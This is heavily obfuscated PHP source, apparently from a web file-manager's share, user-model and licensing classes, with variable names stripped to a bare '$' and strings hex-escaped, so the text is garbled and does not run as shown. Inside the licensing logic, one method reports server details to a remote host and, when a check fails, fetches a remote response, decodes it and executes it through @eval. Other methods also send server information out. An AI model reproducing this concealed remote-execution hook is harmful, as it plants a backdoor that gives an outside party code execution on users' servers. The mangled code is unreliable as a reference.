filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($[$])) { $ = array_merge($, $[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } goto c; D: class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1384]); } protected function infoParse($, $ = false, $ = false) { $ =& $_SERVER[]; return Action($[1225])->sharePathInfo($this->pathParse[$[86]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = parent::listPath($, $); if (!$) { return $; } if (is_array($[$[1392]])) { $[$[1392]] = Action($[1225])->shareItemInfo($[$[1392]]); } foreach ($ as $ => $) { if (!in_array($, array($[85], $[84]))) { continue; } foreach ($ as $ => $) { $[$][$] = Action($[1225])->shareItemInfo($); } } return $; } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[86]]); if (!$) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$[89]] = Action($[1225])->shareItemInfo($[$[89]]); } unset($); return $; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $) { $ =& $_SERVER[]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($[1393], $), $); $ = array($[1394], $[1395], $[1396], $[1397], $[588], $[590], $[1398], $[109], $[1399], $[1400]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][588], $); } public function move($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][590], $); } private function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; $ = $; $ = IO::driverMake($); if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; } else { $ = $; } $ = IO::copyMove($, $, $, $, $); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][86]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[][86]]); } public function iconvSystem($) { return $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[531]][$[1226]] . $this->pathParse[$[1219]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->pathParse[$[531]]; return Action($[1391])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVER[]; $ = IO::listAll($); $ = rtrim($this->pathParse[$[531]][$[1226]], $[8]); foreach ($ as &$) { $[$[86]] = $this->pathDriver . $[8] . ltrim(substr($[$[86]], strlen($)), $[8]); } unset($); return $; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $ = $this->pathParse[$[465]]; if (trim($, $[8]) == trim(get_path_father($), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $, $); } public function getPathOuter($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[86]]; } $ = KodIO::clear($); $ = KodIO::clear($this->pathParse[$[531]][$[1226]]); $ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$[1220]] . $[8] . ltrim($, $[8]); } public function getType() { $ =& $_SERVER[]; $ = str_replace($[76], $[12], get_class($this)); return strtolower($); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; return Action($[1225])->sharePathInfo($this->pathParse[$[86]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = IO::listPath($, $); if (!$) { return $; } if (is_array($[$[1392]])) { $ = Action($[1401])->parsePathChildren($[$[1392]], array($[465] => $)); $[$[1392]] = Action($[1225])->shareItemInfo($); } foreach ($ as $ => $) { if (!in_array($, array($[85], $[84]))) { continue; } foreach ($ as $ => $) { $ = Action($[1401])->parsePathChildren($, array($[465] => $)); $[$][$] = Action($[1225])->shareItemInfo($); } } return $; } } goto f; A: class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\x2e\x74\x61\163\x6b\x4c\151\163\164"; public $field = array("\x6e\141\x6d\145", "\x74\x79\160\145", "\145\166\145\x6e\164", "\164\151\155\x65", "\144\145\x73\x63", "\163\171\163\164\x65\155", "\145\x6e\x61\x62\x6c\x65", "\154\x61\163\164\122\165\156", "\x73\157\162\164"); public function listData($ = false, $ = "\163\x6f\162\164", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[]; $ = $this->findByName($[$[32]]); if ($) { return !1; } $[$[1656]] = 0; $[$[1928]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } return parent::update($, $); } public function remove($, $ = false) { $ =& $_SERVER[]; $ = $this->listData($); if (!$) { return; } if (!$ && $[$[181]] == $[90]) { return !1; } return parent::remove($); } public function enable($, $) { return $this->update($, array($_SERVER[][2342] => $)); } public function run($) { return $this->update($, array($_SERVER[][2354] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\145\x72\137\x66\x61\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2015] => array(USER_ID, $[2355])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $[2356]; $ = $this->field($)->where($)->order($[2357])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $ = $this->listData(); $ = array_filter_by_field($, $[33], $[460]); $ = array_to_keyvalue($, $[12], $[86]); if (!$) { return $; } $ = 2000; $ = array($[461] => array($[462], $)); $ = Model($[870])->listSource($, $); $ = array_merge($[$[85]], $[$[84]]); $ = array_to_keyvalue($, $[183]); foreach ($ as $ => $) { $ = $[$[$[86]]]; $ = $ ? $ : array(); $[$] = array_merge($, $); } return $; } protected function addFav($, $ = '', $ = "\163\x6f\165\x72\x63\145") { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0, $[466] => $, $[465] => $); if ($this->where($)->find()) { return !1; } $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->where($)->max($[1928]); if (!$) { $ = 0; } if (!$ && $ == $[460]) { $ = Model($[1384])->where(array($[461] => $))->find(); if (!$) { return !1; } $ = $[$[32]]; } $ = $this->getAutoName($); $ = array($[1696] => USER_ID, $[528] => 0, $[464] => $, $[465] => $, $[466] => $, $[1908] => $ + 1); return $this->add($); } protected function remove($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[463] => $); return $this->where($)->delete(); } protected function removeByName($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[464] => $, $[528] => 0); return $this->where($)->delete(); } protected function rename($, $) { $ =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($[1696] => USER_ID, $[528] => 0, $[32] => $); return $this->where($)->save(array($[32] => $)); } protected function resetSort($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array($[1696] => USER_ID); for ($ = 0; $ < count($); $++) { $[$[463]] = $[$]; $this->where($)->save(array($[1908] => $ + 1)); } return !0; } protected function moveTop($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->where($)->where(array($[32] => $))->find(); if (!$) { return; } $ = $this->field($[445])->where($)->order($[2357])->select(); $ = array_to_keyvalue($, $[12], $[445]); $ = $; $ = array_remove_value($, $[$[445]]); array_unshift($, $[$[445]]); return $this->resetSort($); } protected function moveBottom($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->where($)->max($[1928]); $ = array($[1928] => $ + 1); return $this->where($)->where(array($[32] => $))->save($); } private function getAutoName($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); if (!$ || !in_array($, $)) { return $; } for ($ = 0; $ < count($); $++) { if (!in_array($ . "\50{$}\x29", $)) { return $ . "\50{$}\x29"; } } return $ . "\x28{$}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\56\x6a\x6f\x62\114\151\163\x74"; public $field = array("\156\x61\155\145", "\144\x65\163\143", "\163\157\x72\164"); const JOB_KEY = "\163\x65\154\146\112\157\142\114\x69\x73\164"; public function listData($ = false, $ = "\163\x6f\x72\164", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $[$[1928]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } return parent::update($, $); } public function setUserJob($, $) { $ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $ = array_to_keyvalue($, $[32]); $ = $[424]; foreach ($ as $) { if ($[$]) { $ .= $[$][$[445]] . $[50]; } else { $ = $this->add($); $ .= $ . $[50]; } } $ = rtrim($, $[50]); Model($[569])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[][569])->metaGet($); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[]; $ = explode($[50], $); $ = parent::listData(); $ = array_remove_key($, $[217]); $ = array(); foreach ($ as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } goto E; D: $_SERVER[] = explode($_SERVER[][650], gzinflate(substr($_SERVER[][651], 10, -8))); $jhtbkxrswv = $_SERVER[][652]; class Application { private $defaultModule = "\151\x6e\144\x65\x78"; private $defaultController = "\151\x6e\144\x65\x78"; private $defaultAction = "\151\156\144\145\170"; function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $[653]; if (!$) { return; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $[654]; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ = $[655]; if (!$) { return; } $this->cxrff5f5dc5f($[1], array($this, $[2])); $ = $[656]; if (strlen($) < $[657]) { return; } } public function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], $); $ = $[658]; if (!$) { return; } $ = strtolower($[0]); $ = $[659]; if (!$) { die; } $ = $[3]; if ($ == $[4]) { $ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $); ActionCall($); $ = $[660]; while (strlen($) < $[661]) { if (!$) { break; } $++; } call_user_func(array($[8], $[9]), $ . $[11], $); $ = $[662]; } private function autorun() { $ =& $_SERVER[]; global $config; $ = $_SERVER[][663]; if (!$) { return; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); } } private function yqpx0cd51b7c() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[4]; $ = $[664]; if (strlen($) < $[661]) { die; } $ = $GLOBALS[$[13]][$[14]][0]; $ = $[665]; if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $ = substr($, 0, -strlen($)); $ = $[666]; $ = array($[4], $); $ = $[667]; if (!$) { die; } $ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($, $); $ = $[668]; while (strlen($) < $[669]) { if (!$) { break; } $++; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function lpas50318890() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[17]; $ = $[670]; if (strlen($) < $[671]) { return; } if (!strstr($, $)) { return; } $ = strrpos($, $); $ = $[672]; $ = substr($, $ + strlen($)); preg_match_all($[18], $, $); $ = $[673]; $ = trim($[0][0], $[19]); $ = $[674]; $GLOBALS[$[13]][$[14]] = explode($[19], $); $ = $[675]; if (strlen($) < $[657]) { return; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } public function run() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->lpas50318890(); $ = $[676]; if (strlen($) < $[671]) { return; } $this->yqpx0cd51b7c(); $ = $GLOBALS[$[13]][$[14]]; $ = $[677]; if (!$) { return; } $ = $GLOBALS[$[13]][$[15]]; $ = $[678]; if (!$) { return; } define($[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $[679]; define($[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); $ = $[680]; if (strlen($) < $[661]) { die; } define($[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $ = $[681]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $ = $[682]; if (!$) { die; } $_SERVER[$[24]] = strtolower(ACTION); $ = $[683]; $this->autorun(); $ = $[684]; if (strlen($) < $[657]) { return; } if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $rdwocac763cc = array(); private $goeu038097d5 = ''; public function cevd71657227() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->zjird0006078(); $this->wtcj6d77772b(); $this->fgqs986e2050(); $this->ihgtc55c857f(); $ = $[685]; if (!$) { die; } $this->eudrb72b712a(); $this->ojvn91111d71(); $ = $[686]; if (strlen($) < $[657]) { die; } $this->apju5eed77de(); $this->cxrff5f5dc5f($[25], array($this, $[26])); $ = $[687]; $this->cxrff5f5dc5f($[27], array($this, $[28])); $this->cxrff5f5dc5f($[29], array($this, $[30])); $ = $[688]; if (strlen($) < $[657]) { return; } $this->cxrff5f5dc5f($[31], array($this, $[32])); } public function uprx2271e4a1($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = Model($[33])->get(); $ = $[689]; if (strlen($) < $[671]) { die; } $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); foreach ($ as $) { $ = $GLOBALS[$[85]][$[86]][$]; $ = $[690]; if (isset($[$])) { $ = $[$]; } $[$[87]][$[88]][$] = $; } $ = $[$[87]][$[88]][$[46]]; $ = $[691]; if (strlen($) < $[692]) { return; } unset($[$[87]][$[89]][$[90]]); unset($[$[87]][$[89]][$[91]]); unset($[$[87]][$[88]][$[46]]); unset($[$[87]][$[88]][$[92]]); $[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $ = substr(md5($[98] . get_client_ip() . $[$[99]]), 0, 15); $ = $[693]; if (!$) { return; } $[$[100]][$[101]] = Mcrypt::encode(Session::sign(), $, 3600 * 24); $ = $[694]; while (strlen($) < $[661]) { if (!$) { break; } $++; } $[$[100]][$[102]] = Action($[103])->accessToken(); $[$[100]][$[104]] = md5($_SERVER[$[105]] . $[$[99]]); $ = $[695]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $[$[100]][$[106]] = base64_encode(serverInfo()); $[$[100]][$[107]] = $this->goeu038097d5; $ = $[696]; if ($[$[107]] != $[108]) { $[$[100]][$[109]] = $[$[109]]; $[$[100]][$[110]] = $[$[110]]; $ = rand_string(10) . $this->goeu038097d5 . rand_string(5); $[$[87]][$[111]][$[112]] = $this->ycsjf993275f($, $[$[100]][$[104]]); } if ($this->goeu038097d5 == $[108]) { $[$[87]][$[88]][$[93]][$[97]] = 0; } $[$[100]][$[113]] = _get($this->rdwocac763cc, $[114], $[6]); $[$[100]][$[115]] = _get($this->rdwocac763cc, $[116], $[6]); $ = $[697]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } if (KodUser::isRoot() && $this->config[$[117]]) { $[$[100]][$[118]] = WEB_ROOT; } return $; } private function ojvn91111d71() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $_SERVER[$[24]] == $[119]; if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $ = !0; } if ($) { $ = array($[107] => $this->goeu038097d5, $[123] => $this->ghze5be35b25(), $[124] => Model($[125])->count()); if ($this->goeu038097d5 != $[108]) { $ = _get($this->rdwocac763cc, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->rdwocac763cc, $[129])); $[$[130]] = _get($this->rdwocac763cc, $[116]); } $ = Model($[33])->get($[131], $[6], !0); if (is_string($) && substr($, 0, 1) == $[132]) { $ = json_decode_force($); } if (is_array($) && $[$[133]] && strstr($[$[133]], $[134])) { $ = explode($[134], $[$[133]]); $[$[135]] = $[0]; } } $ = $this->ehka110833eb(json_encode($), md5($[136])); $ = array($[137] => $); call_user_func(array($[138], $[139]), $); $ = $[698]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } } if ($this->goeu038097d5 == $[108]) { return; } $ = array($[140], $[141], $[142], $[143], $[144], $[145]); $ = Model($[33])->get(); $ = $[699]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } $ = array($[146] => $[$[34]], $[147] => $[$[35]], $[148] => $[6]); foreach ($ as $) { if (!isset($[$]) || !$[$]) { continue; } $[$] = $[$]; } call_user_func(array($[138], $[139]), $); } private function ihgtc55c857f() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[150]])) { $this->pjyi28728f55(); die; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$[152]] = Model($[33])->get($[153]); } if (!isset($[$[152]]) || strlen($[$[152]]) != 16) { show_json($[154] . $[$[152]], !1); } $ = Model($[33])->get($[99]); $ = md5($_SERVER[$[105]] . $); $ = $[700]; while ($ < $[669]) { if ($ >= 0) { break; } $++; } $ = array($[152] => $[$[152]], $[155] => rand_string(16), $[156] => $[136], $[157] => $[158], $[159] => $_SERVER[$[160]], $[161] => $_SERVER[$[162]], $[163] => $_SERVER[$[164]], $[104] => $, $[165] => Model($[33])->get($[131])); if ($[$[166]] == $[167]) { $ = $this->ehka110833eb($, $[168]); $ = $this->ycsjf993275f(json_encode($), $ . $[169], 3); $ = $ . $[170] . $_SERVER[$[160]]; $ = $this->vurm37fa4e72($[171] . $ . $[172] . $, -1); show_json($, !0); } else { if ($[$[166]] == $[173]) { $ = substr(md5($[174] . $), 12, 15) . $[175]; $ = $this->gdyv9b19ed81(trim($[$[176]]), $, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[177]]) || $[$[152]] != !0) { $ = $[178]; $ = $[$[177]] ? $[179] . $[$[177]] : $; show_json($, !1); } else { $[$[155]] = $[$[177]][$[180]]; } } else { $ = $this->vurm37fa4e72($[181], $, 10); } } if (!is_array($) || !is_array($[$[177]]) || $[$[152]] != !0) { $ = LNG($[182]); $ = $[$[177]] ? $[179] . $[$[177]] : $; show_json($, !1); } $ = $[$[177]]; $ = $this->xfad5fcc1643($[$[183]]); $ = $[701]; if (strlen($) < $[669]) { die; } if (!$ || $ != $[$[129]]) { $ = array($[184] => Model($[33])->get($[99]), $[185] => $_SERVER[$[105]], $[186] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->qxsv06505b9c(json_encode($)); $this->vurm37fa4e72($[187] . $); show_json(LNG($[188]), !0); } $ = array($[153] => $[$[189]], $[190] => $[$[191]], $[192] => rand_string(16), $[107] => $[$[193]]); if ($[$[155]]) { $[$[192]] = $[$[155]]; } $ = substr(md5($[$[190]]), 10, 10); $ = $ . $[$[107]] . $[$[192]]; $ = $[702]; if (strlen($) < $[671]) { return; } $[$[109]] = strrev(base64_encode($this->ehka110833eb($, $[194]))); $ = $[703]; $ = rand_string(16); $ = $ . $[$[107]] . $this->ehka110833eb(md5($[$[153]]), $); $ = $[704]; while (strlen($) < $[657]) { if (!$) { break; } $++; } $[$[110]] = base64_encode(strrev($this->ehka110833eb($, $[195]))); $ = $[705]; if ($[$[196]] && $[$[196]] >= 1) { Model($[33])->setDeep($[197], $[122]); } Model($[33])->set($); $ = md5($_SERVER[$[105]] . strrev($) . $[$[190]]); $ = $[706]; while ($ < $[661]) { if ($ >= 0) { break; } $++; } $ = strrev(substr($, 10, 16)); $ = $this->ycsjf993275f(json_encode($), $); $ = array_to_keyvalue(Model($[7])->listData(), $[198]); $ = $[$[199]]; $ = array(); $ = $[707]; if (strlen($) < $[657]) { return; } $[$] = $; Model($[7])->update($[$[200]], array($[201] => $)); $ = $[708]; if (strlen($) < $[692]) { die; } $this->rdwocac763cc = $; $ = $[709]; if (!$) { return; } $this->goeu038097d5 = $[$[107]]; $ = $[710]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $this->licenseRegistSuccess(); $ = $[711]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } Cache::set($[202] . md5($ . $[203]), $[6]); show_json(LNG($[188]), !0); } private function licenseRegistSuccess() { $ =& $_SERVER[]; $ = Model($[33])->get(); $ = $_SERVER[][712]; if ($[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[204])->initStart(!0); } private function pjyi28728f55() { $ =& $_SERVER[]; $ =& $_SERVER[]; Model($[33])->set(array($[153] => $[6], $[190] => $[6], $[107] => $[108], $[109] => $[6], $[110] => $[6])); Model($[33])->setDeep($[197], $[205]); $this->rdwocac763cc = array(); $ = $[713]; while ($ < $[661]) { if ($ >= 0) { break; } $++; } $this->goeu038097d5 = $[108]; } private function zjird0006078() { $ =& $_SERVER[]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $this->goeu038097d5 = $[108]; $ = Model($[33])->get(); if ($[$[107]] == $[108]) { return; } $ = Model($[33])->get($[99]); $ = $[714]; if (!$) { die; } $ = $[202] . md5($ . $[203]); $ = $[715]; $ = Cache::get($); $ = $[716]; if (!is_array($) || !isset($[$[206]]) || time() - $[$[206]] >= 60) { $ = Model($[7])->loadList(); $ = $[$[199]]; $ = md5($_SERVER[$[105]] . strrev($) . $[$[190]]); $ = strrev(substr($, 10, 16)); $ = $this->gdyv9b19ed81($[$[85]][$], $); $ = json_decode($, !0); } if (!is_array($)) { return $this->pjyi28728f55(); } $ = strtotime($[$[129]]); if (time() >= $) { return $this->pjyi28728f55(); } if (time() - $[$[206]] > 20) { $[$[206]] = time(); Cache::set($, $); } $this->rdwocac763cc = $; $this->goeu038097d5 = $[$[107]]; } private function wtcj6d77772b() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $ = $[717]; if (strlen($) < $[661]) { die; } $ = $_SERVER[$[24]]; $ = $[718]; while (strlen($) < $[671]) { if (!$) { break; } $++; } if ($ == $[207] && $this->goeu038097d5 == $[108]) { show_json(LNG($[208]), !1, $[209]); } $ = array($[210], $[211]); if (in_array($, $)) { if ($this->goeu038097d5 == $[108] && isset($[$[212]])) { show_json(LNG($[208]), !1, $[209]); die; } $ = $this->ghze5be35b25(); if ($ != intval($[213])) { if ($ <= Model($[125])->count()) { show_json(LNG($[214]), !1, $[209]); die; } } } } private function fgqs986e2050() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[119], $[120]); if (!KodUser::isRoot() || !isset($_GET[$[215]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $ = $[216]; $ = $this->hsox157bd8b4($, $[217]); $ = $[719]; while (strlen($) < $[671]) { if (!$) { break; } $++; } $ = stream_context_create(array($[218] => array($[219] => $[220], $[221] => 3))); $ = $[720]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = @file_get_contents($, !1, $); header($[222]); $ = $[721]; if (!$) { die; } if ($ && strstr($, $[223])) { echo $; } die; } public function azpd267e5692($) { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->goeu038097d5 == $[224]) { return $; } $ = array($[225] => $[226], $[227] => $[226], $[228] => $[226], $[229] => $[230], $[231] => $[230], $[232] => $[230], $[233] => $[230], $[234] => $[230], $[235] => $[230], $[236] => $[230], $[237] => $[230], $[238] => $[230], $[239] => $[230], $[240] => $[230], $[241] => $[230]); $ = explode($[242], _get($this->rdwocac763cc, $[114], $[6])); $ = $[722]; if (!$) { die; } $ = array(); foreach ($ as $ => $) { if ($ == $[226] && substr($this->goeu038097d5, 0, 1) == $[226]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unset($[$]); } return $; $ = $[723]; while (strlen($) < $[669]) { if (!$) { break; } $++; } } private function apju5eed77de() { $ =& $_SERVER[]; if ($this->goeu038097d5 != $[108]) { $GLOBALS[$[85]][$[89]][$[243]] = $[205]; return; } $GLOBALS[$[85]][$[244]] = $[122]; if (Model($[245])->get($[63]) != $[205]) { Model($[245])->set($[63], $[205]); } } public function ozci2f114716() { return $_SERVER[][246]; } private function eudrb72b712a() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[247], $[248], $[249]); $ = $[250] . md5($[251]); if ($this->goeu038097d5 == $[108] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($[252], $[253]), $); $ = $[724]; if ($ && time() - $ < intval($[254])) { return; } call_user_func(array($[252], $[139]), $, time()); $ = Model($[33])->get($[99]); $ = array($[152] => Model($[33])->get($[153]), $[166] => $this->goeu038097d5, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[104] => md5($_SERVER[$[105]] . $), $[156] => $[136], $[159] => $_SERVER[$[160]]); $ = $this->vurm37fa4e72($[255], $); if (!is_array($)) { return; } if ($[$[152]] && $[$[256]]) { if ($this->xfad5fcc1643($[$[256]]) == $[$[152]]) { return; } } $this->pjyi28728f55(); $ = $[725]; if (strlen($) < $[657]) { die; } if ($this->xfad5fcc1643($[$[256]]) != $[$[152]]) { $ = array($[184] => $, $[185] => $_SERVER[$[105]], $[186] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->qxsv06505b9c(json_encode($)); $ = $this->vurm37fa4e72($[187] . $); if ($ && is_array($) && isset($[$[256]])) { $ = $this->gdyv9b19ed81($[$[256]], 2); if ($) { $ = $this->xfad5fcc1643($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function vurm37fa4e72($ = '', $ = array(), $ = 5) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[257]; $ = $this->hsox157bd8b4($, $[258]); $ = $ . $; if ($ && is_array($)) { $ = $ . $[259] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($[218] => array($[221] => $, $[219] => $[260]), $[261] => array($[262] => !1, $[263] => !1))); $ = $[726]; if (!$) { die; } $ = @file_get_contents($, !1, $); return json_decode($, !0); $ = $[727]; if (strlen($) < $[657]) { die; } } private function ghze5be35b25() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[264] => $[265], $[266] => $[267], $[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] => $[213], $[275] => $[213], $[276] => $[265], $[277] => $[267], $[278] => $[269], $[279] => $[280], $[281] => $[271], $[282] => $[283], $[284] => $[273], $[285] => $[286], $[287] => $[288], $[289] => $[290]); $ = $[728]; $ = $[$this->goeu038097d5]; $ = intval($ ? $ : $[265]); $ = $[729]; if (!$) { die; } $ = _get($this->rdwocac763cc, $[291]); $ = $ ? intval($) : 0; $ = $[730]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } return $ + $; } public function heny43e8c145($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->ghze5be35b25(); $ = $[731]; if (strlen($) < $[661]) { die; } if ($[$[292]] == $[122]) { return; } if ($ >= intval($[213])) { return; } $ = Model($[125])->count(); $ = $[732]; if ($ <= $) { return; } $ = Model($[125])->field($[292])->limit($)->select(); $ = $[733]; if (strlen($) < $[671]) { die; } $ = array_to_keyvalue($, $[6], $[292]); if (!in_array($[$[292]], $)) { show_json($[293], !1, $[209]); } } public function nrfc9373d337() { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $[216]; $ = $[734]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } $ = $this->hsox157bd8b4($, $[217]); $ = $[735]; 